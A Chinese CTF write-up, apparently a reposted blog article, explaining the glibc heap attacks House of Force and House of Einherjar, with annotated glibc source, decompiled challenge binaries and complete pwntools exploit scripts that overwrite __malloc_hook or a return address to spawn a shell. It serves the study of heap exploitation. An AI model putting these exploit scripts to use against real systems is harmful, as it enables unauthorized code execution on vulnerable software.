针对top chunk的一些特殊攻击手法

VSole2023-07-07 09:36:06

house of force 主要利用 top chunk 的漏洞

通过修改topchunk_size来进行攻击

利用 top chunk 分割的漏洞来申请任意 chunk,

然后再劫持 hook 或者更改 got表

top chunk的分割机制和利用方法

victim = av->top; /* 获取addr of top chunk */
size   = chunksize(victim); /* 获取top chunk size */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb; /* 计算剩下的size */
    remainder      = chunk_at_offset(victim, nb); 
    av->top        = remainder; /* 修改top chunk */
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0)); /* 设置top chunk的头 */
    set_head(remainder, remainder_size | PREV_INUSE); /* 设置剩下chunk的头 */
    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

只有

top chunk 的 size 大于等于申请的 size,才会有后续操作

top chunk大小检查时用的数据类型是 unsigned long,如果能通过一些漏洞(比如堆溢出)将 top chunk 的 size

字段篡改成 -1 或者 0xffffffffffffffff,那么在做这个检查时,size

就变成了无符号整数中最大的值,这样一来,不管用户申请多大的堆空间都可以满足条件,此外,虽然此处的检查中,用户申请的大小也被当做无符号整型对待,但是在后面扩展

top chunk 的时候是作为 int 对待的

利用条件

用户能够篡改 top chunk 的 size 字段(篡改为负数或很大值)

用户可以申请任意大小的堆内存(包括负数)

libc-2.23

/* Try to use top chunk */
  /* Require that there be a remainder, ensuring top always exists  */
  if ( (remainder_size = chunksize(top(ar_ptr)) - nb) < (long)MINSIZE)
  {
    /* If the request is big and there are not yet too many regions,
       and we would otherwise need to extend, try to use mmap instead.  */
    if ((unsigned long)nb >= (unsigned long)mmap_threshold &&
        n_mmaps < n_mmaps_max &&
        (victim = mmap_chunk(nb)) != 0)
      return victim;
      /* 如果申请字节超过“topchunk->size”,调用mmap_chunk */
    /* Try to extend */
    malloc_extend_top(ar_ptr, nb);
    if ((remainder_size = chunksize(top(ar_ptr)) - nb) < (long)MINSIZE)
    {
      /* A last attempt: when we are out of address space in a
         non-main arena, try mmap anyway, as long as it is allowed at
         all.  */
      if (ar_ptr != &main_arena &&
          n_mmaps_max > 0 &&
          (victim = mmap_chunk(nb)) != 0)
        return victim;
        /* 如果,第一次调用mmap_chunk没有成功,则再调用一次 */
      return 0; /* propagate failure */
    }
  }
  victim = top(ar_ptr);
  set_head(victim, nb | PREV_INUSE); /* 设置top chunk的头 */
  top(ar_ptr) = chunk_at_offset(victim, nb);
  set_head(top(ar_ptr), remainder_size | PREV_INUSE); /* 设置剩下chunk的头 */
  check_malloced_chunk(ar_ptr, victim, nb); /* 这个检查几乎没有影响 */
  return victim;

通过“topchunk->size”判断是否调用“mmap_chunk”

完全可以打 House Of Force

libc-2.27

if (av != &main_arena)
    {
      heap_info *old_heap, *heap;
      size_t old_heap_size;
      /* First try to extend the current heap. */
      old_heap = heap_for_ptr (old_top);
      old_heap_size = old_heap->size;
      if ((long) (MINSIZE + nb - old_size) > 0 
          /* top chunk不够用,grow_heap扩展top chunk的空间 */
          /* 要打House Of Force,这个if一定不成立(old_size非常大) */
          && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
        {
          av->system_mem += old_heap->size - old_heap_size;
          set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
                    | PREV_INUSE);
        }
      else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
        { 
          /* Use a newly allocated heap.  */
          heap->ar_ptr = av;
          heap->prev = old_heap;
          av->system_mem += heap->size;
          /* Set up the new top.  */
          top (av) = chunk_at_offset (heap, sizeof (*heap));
          set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
          /* Setup fencepost and free the old top chunk with a multiple of
             MALLOC_ALIGNMENT in size. */
          /* The fencepost takes at least MINSIZE bytes, because it might
             become the top chunk again later.  Note that a footer is set
             up, too, although the chunk is marked in use. */
          old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
          set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
          if (old_size >= MINSIZE) /* 需要分割 */
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }
          else /* 不需要分割 */
            {
              set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
              set_foot (old_top, (old_size + 2 * SIZE_SZ));
            }
        }
      else if (!tried_mmap)
        /* We can at least try to use to mmap memory.  */
        goto try_mmap;
    }
................

程序复杂了不少,也多了许多检查:

static void
do_check_chunk (mstate av, mchunkptr p)
{
  unsigned long sz = chunksize (p);
  /* min and max possible addresses assuming contiguous allocation */
  char *max_address = (char *) (av->top) + chunksize (av->top);
  char *min_address = max_address - av->system_mem;
    /* 这里就是问题的关键 */
    /* 因为“topchunk->size”被设置得非常大,所以max_address和min_address也非常大 */
    /* 这个设置范围的操作打死了House Of Force */
  if (!chunk_is_mmapped (p)) 
    {
      /* Has legal address ... */
      if (p != av->top)
        {
          if (contiguous (av))
            {
              assert (((char *) p) >= min_address);
              /* 因为min_address非常大,重新申请的chunk地址不可能大于它 */
              assert (((char *) p + sz) <= ((char *) (av->top)));
            }
        }
      else 
        {
          /* top size is always at least MINSIZE */
          assert ((unsigned long) (sz) >= MINSIZE);
          /* top predecessor always marked inuse */
          assert (prev_inuse (p));
        }
    }
  else if (!DUMPED_MAIN_ARENA_CHUNK (p))
    {
      /* address is outside main heap  */
      if (contiguous (av) && av->top != initial_top (av))
        {
          assert (((char *) p) < min_address || ((char *) p) >= max_address);
        }
      /* chunk is page-aligned */
      assert (((prev_size (p) + sz) & (GLRO (dl_pagesize) - 1)) == 0);
      /* mem is aligned */
      assert (aligned_OK (chunk2mem (p)));
    }
}

House

Of Force 只能在 libc-2.23 中生效,因为 libc-2.23

会在检查了“topchunk->size”后就进行分割,可以直接利用,而 libc-2.27

设置了一个“范围”,限制了申请chunk的地址范围,这样就导致 top chunk 无法分割到目标地址了

Large bin 泄露 libc_base

背景知识

在glibc堆初始化时会一次划出132KB的内存大小来供程序使用,也就是说我们提到tcache/fast/small/unsorted/large都是在这132KB(0x21000)基础上产生的。那么如果直接malloc超过132KB大小的话。系统会调用mmap在libc附近分配内存,经过测试虽然大于132KB可以让其分配在libc附近,但不达到一定大小,分配的内存地址和libc的偏移是不太确定的。这里借鉴了前辈的经验,分配0x200000的内存可以让偏移固定。

#include 
#include 
int main()
{
    malloc(0x1);  // init heap
    // 0x200000 == 2097152
    long long * ptr = malloc(2097152);
    printf("mmap addr is %p", ptr);
    return 0;
}

该内存块刚好是贴着libc分配的,它和libc基地址的偏移正好是这块内存区域的大小0x201000。gyctf_2020_forceida

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  __int64 v3; // rax
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  memset(s, 255, sizeof(s));
  while ( 1 )
  {
    memset(s, 255, sizeof(s));
    puts("1:add");
    puts("2:puts");
    read(0, nptr, 0xFuLL);
    v3 = atol(nptr);
    if ( v3 == 1 )
    {
      add_chunk();
    }
    else if ( v3 == 2 )
    {
      fake_show();
    }
  }
}
unsigned __int64 add_chunk()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);
  if ( !*i )
    exit(0);
  printf("bin addr %p", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);    // 堆溢出
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 fake_show()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
  v1 = __readfsqword(0x28u);
  puts(&byte_D93);           //''
  return __readfsqword(0x28u) ^ v1;
}

思路

这个程序对申请chunk的大小没有要求,只有add函数

所以这里先用mmap获取libc_base,在打个house of force

详细流程

首先程序申请完堆块后就会把堆块地址打印出来,所以这里直接用返回堆块的地址

def add(size,content):
    ru('2:puts')
    sl(str(1))
    ru('size')
    sl(str(size))
    ru('0x')
    data_ptr=int(p.recv(12),16)
    ru('content')
    s(content)
    return data_ptr
libc_base=add(0x200000,'aaaa')+0x200ff0
leak('libc_base',libc_base)

直接利用mmap的固定偏移泄露出来libc_base,这里只是扩展了堆空间,并没有申请chunk

如果下一步正常申请的话,还是可以看到正常的top chunk的

top_chunk_addr=add(0x10,'a'*0x10+b'/bin/sh\x00'+p64(0xffffffffffffffff))+0x10
leak('top_chunk_addr',top_chunk_addr)

这里写入 /bin/sh\x00 是因为后面用og和realloc调不成功,所以用system打,这里因为有堆地址,直接申请堆地址就能执行system('/bin/sh\x00') [因为没有对申请的size限制,所以可以这样打]

修改了top chunk 的 size

下面为了好分析,还是关掉ASLR

原本的top chunk地址加上实际上要分配的大小等于新的top chunk地址

所以offset=fake_addr-0x10-0x10-top_chunk_addr

offset=(malloc_hook-0x20)-top_chunk_addr

申请一下对应偏移的chunk就可以把top_chunk扩展到fake_chunk了

然后直接申请后打就行了

add(offset,'kkk')
add(0x10,p64(system))


p.recvuntil("2:puts")
p.sendline('1')
p.recvuntil("size")
p.sendline(str(top_chunk_addr))


exp

import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
p=process('./pwn')
#p=remote('node4.buuoj.cn',29025)
elf = ELF('./pwn')
#libc=ELF('./libc-2.23.so')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def duan():
    gdb.attach(p)
    pause()
def add(size,content):
    ru('2:puts')
    sl(str(1))
    ru('size')
    sl(str(size))
    ru('0x')
    data_ptr=int(p.recv(12),16)
    ru('content')
    s(content)
    return data_ptr
libc_base=add(0x200000,'aaaa')+0x200ff0
leak('libc_base',libc_base)
top_chunk_addr=add(0x10,'a'*0x10+b'/bin/sh\x00'+p64(0xffffffffffffffff))+0x10
leak('top_chunk_addr',top_chunk_addr)
#duan()
malloc_hook=libc.sym['__malloc_hook']+libc_base
realloc = libc.sym["__libc_realloc"]
system=libc.sym['system']+libc_base
leak('malloc_hook',malloc_hook)
offset=(malloc_hook-0x20)-top_chunk_addr
leak('offset',offset)
'''
ogs = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
og=ogs[1]+libc_base
leak('og',og)
'''
add(offset,'kkk')
add(0x10,p64(system))
#duan()
p.recvuntil("2:puts")
p.sendline('1')
p.recvuntil("size")
p.sendline(str(top_chunk_addr))
#duan()
itr()

House Of Einherjar介绍

house of einherjar 跟 house of force 差不多,最终目的都是控制 top chunk 的值

只不过他是向后合并

向后合并机制与利用方法

libc-2.23

if (!(hd & PREV_INUSE))                    /* consolidate backward */
{ 
  prevsz = p->prev_size; 
    /* 记录相邻堆块p的prev_size值 */
  p = chunk_at_offset(p, -(long)prevsz); 
    /* 堆块p的指针最后由chunk_at_offset()函数决定 */
    /* 将原本p指针位置加上s偏移后的位置作为合并堆块的新指针(向上增加) */
  sz += prevsz; 
    /* size = size + prev_size */
  if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
    islr = 1;
  else
    unlink(p, bck, fwd);
    /* 检查并脱链 */
}

后向合并中没有多少检查,但是unlink操作会先检查

“fakechunk->size” (必须可以通过 size 索引到“last chunk”,并且P位为“0”,这样才会进行

unlink),因为“fake_size”(offset)很大,fake chunk 会被当做是 large chunk ,所以还会格外检查

FD,BK,FDsize,BKsize

为了实现chunkA后向合并到fake chunk 我们需要使得chunkA_addr - chunkA_prev_size =

fakechunk_addr

同时还需要使得fake_chunk的size域和chunkA的prev_size域相同

并且还要注意一下fake chunk的fd域和bk域,这里需要都写入fake chunk的地址

2016_seccon_tinypad

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  int choice; // eax
  int v5; // eax
  __int64 v6; // rax
  unsigned __int64 v7; // rax
  int c; // [rsp+4h] [rbp-1Ch] BYREF
  int i; // [rsp+8h] [rbp-18h]
  int index; // [rsp+Ch] [rbp-14h]
  int v12; // [rsp+10h] [rbp-10h]
  int v13; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v14; // [rsp+18h] [rbp-8h]
  v14 = __readfsqword(0x28u);
  v12 = 0;
  write_n((__int64)&unk_4019F0, 1LL);
  write_n(
    (__int64)"  ============================================================================"
             "// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\"
             "||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||"
             "||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||"
             "||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||"
             "\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //"
             "  ============================================================================",
    563LL);
  write_n((__int64)&unk_4019F0, 1LL);
  do
  {
    for ( i = 0; i <= 3; ++i )    
    {
      LOBYTE(c) = i + 49;
      writeln((__int64)"+------------------------------------------------------------------------------+", 81LL);
      write_n((__int64)" #   INDEX: ", 12LL);
      writeln((__int64)&c, 1LL);
      write_n((__int64)" # CONTENT: ", 12LL);
      if ( *(_QWORD *)&tinypad[16 * i + 264] )
      {
        v3 = strlen(*(const char **)&tinypad[16 * i + 264]);
        writeln(*(_QWORD *)&tinypad[16 * i + 264], v3);
      }
      writeln((__int64)&unk_4019F0, 1LL);
    }
    index = 0;
    choice = getcmd();
    v12 = choice;
    if ( choice == 'D' )                //delete
    {
      write_n((__int64)"(INDEX)>>> ", 11LL);
      index = read_int();
      if ( index <= 0 || index > 4 )   //index 范围为:1.2.3
      {
LABEL_29:
        writeln((__int64)"Invalid index", 13LL);
        continue;
      }
      if ( !*(_QWORD *)&tinypad[16 * index + 240] )
      {
LABEL_31:
        writeln((__int64)"Not used", 8LL);
        continue;
      }
      free(*(void **)&tinypad[16 * index + 248]);     // UAF 
      *(_QWORD *)&tinypad[16 * index + 240] = 0LL;    // 置空了size,没有置空指针
      writeln((__int64)"Deleted.", 9LL);
    }
    else if ( choice > 'D' )
    {
      if ( choice != 'E' )
      {
        if ( choice == 'Q' )
          continue;
LABEL_41:
        writeln((__int64)"No such a command", 17LL);
        continue;
      }
      write_n((__int64)"(INDEX)>>> ", 11LL);   // edit  
      index = read_int();
      if ( index <= 0 || index > 4 )
        goto LABEL_29;
      if ( !*(_QWORD *)&tinypad[16 * index + 240] )
        goto LABEL_31;
      c = 48;
      strcpy(tinypad, *(const char **)&tinypad[16 * index + 248]);//把数据复制到chunk_list(tinypad)首位
      while ( toupper(c) != 'Y' )                                  // 只要不Y就可以一直修改
      {                                                           
        write_n((__int64)"CONTENT: ", 9LL);                        // 输出数据,也许可以利用这里来leak
        v6 = strlen(tinypad);
        writeln((__int64)tinypad, v6);
        write_n((__int64)"(CONTENT)>>> ", 13LL);
        v7 = strlen(*(const char **)&tinypad[16 * index + 248]);
        read_until((__int64)tinypad, v7, 0xAu);
        writeln((__int64)"Is it OK?", 9LL);
        write_n((__int64)"(Y/n)>>> ", 9LL);
        read_until((__int64)&c, 1uLL, 0xAu);
      }
      strcpy(*(char **)&tinypad[16 * index + 248], tinypad);     // 复制回去
      writeln((__int64)"Edited.", 8LL);
    }
    else
    {
      if ( choice != 'A' )                      // add
        goto LABEL_41;
      while ( index <= 3 && *(_QWORD *)&tinypad[16 * index + 256] )
        ++index;
      if ( index == 4 )
      {
        writeln((__int64)"No space is left.", 17LL);
      }
      else
      {
        v13 = -1;
        write_n((__int64)"(SIZE)>>> ", 10LL);
        v13 = read_int();
        if ( v13 <= 0 )                  // size不能为负
        {
          v5 = 1;
        }
        else
        {
          v5 = v13;
          if ( (unsigned __int64)v13 > 0x100 )  // size不能超过0x100
            v5 = 256;
        }
        v13 = v5;
        *(_QWORD *)&tinypad[16 * index + 256] = v5;
        *(_QWORD *)&tinypad[16 * index + 264] = malloc(v13);
        if ( !*(_QWORD *)&tinypad[16 * index + 264] )
        {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
        }
        write_n((__int64)"(CONTENT)>>> ", 13LL);
        read_until(*(_QWORD *)&tinypad[16 * index + 264], v13, 0xAu);  // 写入内容 off by one
        writeln((__int64)"Added.", 7LL);
      }
    }
  }
  while ( v12 != 'Q' );      // quit
  return 0;
}
unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, int a3)
{
  unsigned __int64 i; // [rsp+28h] [rbp-18h]
  __int64 n; // [rsp+30h] [rbp-10h]
  for ( i = 0LL; i < a2; ++i )
  {
    n = read_n(0LL, a1 + i, 1LL);
    if ( n < 0 )
      return -1LL;
    if ( !n || *(a1 + i) == a3 )
      break;
  }
  *(a1 + i) = 0;                                // off by one 经典的置空末尾“”,造成了 off-by-null
  if ( i == a2 && *(a2 - 1 + a1) != 10 )
    dummyinput(a3);
  return i;
}

修改模块可以控制 chunk_list ( tinypad ) 这一大片区域,伪造 fake_size 绰绰有余

最后一个chunk的“presize”直接作为相邻上一个chunk的数据区,完全可以控制

可以考虑打 House Of Einherjar

详细流程

add(0xe0, "A"*0xe0)
add(0xf0, "B"*0xf0)
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)
delete(3) //因为后面"chunk4->size"会被覆盖低位,所以这里只能为0x100
delete(1) //这里要先释放后申请的chunk,不然程序不会打印(不知道原因)

因为这个题目比较特殊,所以直接利用fd指针来泄露libc_base 和 heap_addr

想接收这个数据,可以用

1.p.recvuntil('')[:-1].ljust(8,'\x00')

接收到 '' , 但是不算上 ''

2.k&0x0000000000ffffff

ru('INDEX: 1')
ru('# CONTENT: ')
k=u64(r(8))
heap_addr=k&0x0000000000ffffff-0x1f0
#heap_addr=u64(p.recvuntil('')[:-1].ljust(8,'\x00'))
leak('heap_addr',heap_addr)
ru('INDEX: 3')
ru('# CONTENT: ')
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
leak('libc_base',libc_base)
chunk_list_addr=0x602040
chunk2_addr=heap_addr+0xf0
offset=chunk2_addr-chunk_list_addr
leak('chunk_list_addr >> ',chunk_list_addr)
leak('chunk2_addr >> ',chunk2_addr)
leak('offset >> ',offset)

add(0xe8, "g"*(0xe8-0x8) + p64(offset))

改一下 chunk2 的pre_size


delete(4)

把三四合并,让二紧邻top chunk


pl=p64(0x100)+p64(offset)
pl+=p64(chunk_list_addr)*4
edit(2, pl)

然后再fake_chunk上设置 size 为 offset

这里是直接写过去了,题目特点,先写到 0x602040 再 strcpy 过去,不过这个很容易就截断,所以这个题目 edit 会让人很迷


delete(2)

这里的pre_size和size已经对应了,然后直接delete(2) 把chunk的P位改为0,这样就满足了 House Of Einherjar 的条件

gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
gadget_addr = libc_base + gadget[3]
payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
payload += p64(0xe8) + p64(0x602148)
add(0xe0, "t"*0xe0)
add(0x100, payload)

然后申请两次chunk,在储存chunk1_ptr的地方写入

'environ' (在 libc

中有一个全局变量'environ',储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,所以可以控制rip了)

,然后把chunk2_ptr 改成 chunk1_ptr 的地址 ,方便修改

这里的chunk_ptr 前面的应该是size,直接写一个数就行,这里没有过多的检查,我试了试两个p64(0x100)也能打通

p.readuntil("# CONTENT: ")
stack_env=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak('environ',libc_base + libc.symbols["__environ"])
success("env_stack address: " + hex(stack_env))

这里写入 '__environ' 函数然后根据题目特点把 栈地址泄露出来了

计算一下偏移,得到 '__libc_start_main+240' 的地址,也就是程序的返回地址

edit(2, p64(stack_env-240))
edit(1, p64(gadget_addr))
p.readuntil("(CMD)>>>")
p.sendline("Q")

然后修改 chunk_ptr1 为 '__libc_start_main+240'

这样编辑 chunk2 就能把 '__libc_start_main+240' 修改为 og了

然后直接退出就getshell了

exp

import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
p=process('./pwn')
#p=remote('node4.buuoj.cn',29025)
elf = ELF('./pwn')
#libc=ELF('./libc-2.23.so')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def duan():
    gdb.attach(p)
    pause()
def add(size,content):
    p.recvuntil('(CMD)>>> ')
    p.sendline('a')
    p.recvuntil('(SIZE)>>> ')
    p.sendline(str(size))
    p.recvuntil('(CONTENT)>>> ')
    p.sendline(content)
def delete(index):
    p.recvuntil('(CMD)>>> ')
    p.sendline('d')
    p.recvuntil('(INDEX)>>> ')
    p.sendline(str(index))
def edit(index,content):
    p.recvuntil('(CMD)>>> ')
    p.sendline('e')
    p.recvuntil('(INDEX)>>> ')
    p.sendline(str(index))
    p.recvuntil('CONTENT: ')
    p.recvuntil('(CONTENT)>>> ')
    p.sendline(content)
    p.recvuntil('(Y/n)>>> ')
    p.sendline('y')
add(0xe0, "A"*0xe0)
add(0xf0, "B"*0xf0)
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)
delete(3)
delete(1)
#duan()
ru('INDEX: 1')
ru('# CONTENT: ')
k=u64(r(8))
heap_addr=k&0x0000000000ffffff-0x1f0
#heap_addr=u64(p.recvuntil('')[:-1].ljust(8,'\x00'))
leak('heap_addr',heap_addr)
ru('INDEX: 3')
ru('# CONTENT: ')
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
leak('libc_base',libc_base)
chunk_list_addr=0x602040
chunk2_addr=heap_addr+0xf0
offset=chunk2_addr-chunk_list_addr
leak('chunk_list_addr >> ',chunk_list_addr)
leak('chunk2_addr >> ',chunk2_addr)
leak('offset >> ',offset)
add(0xe8, "g"*(0xe8-0x8) + p64(offset))
delete(4)
pl=p64(0x100)+p64(offset)
pl+=p64(chunk_list_addr)*4
edit(2, pl)
delete(2)
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
gadget_addr = libc_base + gadget[3]
payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
payload += p64(0xe8) + p64(0x602148)
add(0xe0, "t"*0xe0)
add(0x100, payload)
p.readuntil("# CONTENT: ")
stack_env=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success("env_stack address: " + hex(stack_env))
edit(2, p64(stack_env-240))
edit(1, p64(gadget_addr))
p.readuntil("(CMD)>>>")
p.sendline("Q")
itr()
str函数main函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
Glibc2.29及以上版本堆的利用技巧越来越复杂,简直就是神仙打架,实在学得有点头晕。并且很多时候就算我们有了复用堆块在出题人的各种围追堵截的限制下,也可能没办法getshell,所以一直在不断开发新的利用姿势。
前言本文主要着眼于glibc下的一些漏洞及利用技巧和IO调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc相关的基础知识,以及低版本glibc下常见的漏洞利用方式,后者主要涉及到一些较新的glibc下的IO调用链。
AFL源码浅析
2022-10-26 09:54:13
前言AFL是一款著名的模糊测试的工具,最近在阅读AFL源码,记录一下,方便以后查阅。编译项目:将编译的优化选项关闭,即改写成-O01afl-gcc.c使用gdb加载afl-gcc,并使用set arg -o test test.c设置参数2find_as函数?find_as函数首先会通过AFL_PATH环境变量的值从而获得AFL对应的路径?若上述环境变量不存在则获取当前afl-gcc所在的文件路径?判断该路径下的as文件是否具有可执行权限u8?//函数用来判断指定的文件或目录是否有可执行权限,若指定方式有效则返回0,否则返回-1
汇编语言是一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。Smali汇编基础Smali语言最早是由JesusFreke发布在Google Code上的一个开源项目,并不是拥有官方标准的语言。因此也将Smali语言称作Android虚拟机的反汇编语言。基本类型Smali基本数据类型中包含两种类型,原始类型和引用类型。而在Smali中则是以LpackageName/objectName的形式表示对象类型。
如何调包Win32API函数?其实就是HookPE文件自己的IAT表。
通过文件搜索,可以定位到jhttpd。对于get请求则让httpd_dowith_get函数去处理。了解了该程序的http服务大概的流程,接下来就是分析哪个请求的处理存在问题即可。
切记ASLR功能一定要开!第一个puts提示了这题是house_of_storm。menue函数普通的菜单输出,就不上图了。add函数正常的堆分配,堆大小由用户输入,但是限制大小在0-0x410。
这次的 PWNHUB 内部赛的两道题目都不是常规题,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的异或考察的则是通过逆向分析解密函数来构造栈溢出 ROP。两道题目的考点都非常新颖,其中第一道题更是结合了 Web,值得大家复现学习。
VMPWN的入门系列-1
2023-07-27 09:45:00
今天的文章有点长,图片比较多,请耐心阅读5.1 实验一 VMPWN15.1.1 题目简介这是一道基础的VM相关题目,VMPWN的入门级别题目。
linux跟踪技术之ebpf
2022-12-30 10:51:15
eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf,还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。
VSole
网络安全专家